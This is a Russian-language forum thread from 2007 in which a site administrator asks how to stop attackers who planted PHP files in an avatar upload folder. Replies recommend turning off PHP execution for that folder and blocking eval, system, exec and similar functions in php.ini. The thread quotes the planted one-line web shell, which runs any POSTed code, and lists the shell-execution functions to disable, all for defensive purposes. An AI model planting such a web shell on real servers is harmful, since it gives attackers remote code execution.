Страница 1 из 1

Apache и php_engine

Добавлено: 2007-11-09 10:09:58
dstol
Хакеры ломают. Нашли уязвимость в каком то из скриптов. В каталоге где лежат аватары пользователей
появляются скрипты *.php с кодом типа

Код: Выделить всё

<?php
  eval($_POST['c']);
  exit();
?>
Владелец файлов mysql :shock:. Права на эту директорию 777. С другими не пройдет uploading.
Сам скрипт uploading'a проверял. Через него не могли потому что все файлы обрабатываются gd.
Пока найду дырку может пройти много времени Слышал что можно отключить выполнение скриптов php для определенной директории с помощью директивы php_value php_engine off. Попробовал
кинуть .htaccess в директорию для uploading'а и прописал в нем

Код: Выделить всё

php_value php_engine off
AllowOverride on
Скрипты не выполняються. Но и uploading не работает. Плиз помогите разобраться со злостными парнями.

Re: Apache и php_engine

Добавлено: 2007-11-09 11:54:01
Alex Keda
таки мусю поломали...
а не пхп...

Re: Apache и php_engine

Добавлено: 2007-11-09 16:24:11
dstol
Скорее все нашли дыру mysql запросе. И сервер mysql записал результат запроса в файл. Пользователь
который подключается к базе имеет право на запись результатов запроса в файл. С его правами я
поделать ничего немогу (начальство пока не разрешает). Доступ ко многим php скриптам тоже ограничен
(Zend'ом закодированы). Нужно просто запретить выполнение скриптов из определенной директории

Re: Apache и php_engine

Добавлено: 2007-11-09 23:43:14
kmb
в пхп.ини можно рубить конкретные функции, можешь отрубить eval и еще по-моему штуки 3-4 аналогичных...

Re: Apache и php_engine

Добавлено: 2007-11-10 17:07:23
BlackCat

Код: Выделить всё

php_value php_engine off
Сработает если включен mod_php и через него идет обработка скриптов.
=====
В той директории, куда идет закачка, других пхп скриптов случайно нет? Может кроме зловредного скрипта, там еще и полезные лежат. Еще, как вариант, могли измениться права на диру.
=====
А для разборок со злостными парнями можно пропатчить их скрипт. Так что бы выдавалась ошибка "Неправильный синтаксис" и делалась запись в специальный лог с адресом нехороших пользователей и всей остальной информацией, которую можно собрать в т.ч. и запросом к скрипту.

P.S. Не забудте найти код через который вас поломали ;-)

Re: Apache и php_engine

Добавлено: 2007-11-12 11:50:52
dstol
А каким образом отключить eval в php.ini. Все равно она нигде не используеться.

Re: Apache и php_engine

Добавлено: 2007-11-12 22:48:45
BlackCat
Вот, что пишут в мане:
disable_functions
Эта директива позволяет вам запретить некоторые функции из соображений безопасности. В качестве значения она принимает список функций, разделенных двоеточием. disable_functions не зависит от того, используется Защищенный режим или нет.
Эта директива должна быть указана в php.ini. Вы не можете использовать ее, например, в httpd.conf.
получается

Код: Выделить всё

disable_functions=eval
Для большей надежности можно отрубить:
system()
passthru()
exec()
shell_exec()
Все они выполняют команды в шеле.

Re: Apache и php_engine

Добавлено: 2007-11-13 10:21:00
dstol
Спасибо. Помогло. Отрубил функции и все ok :)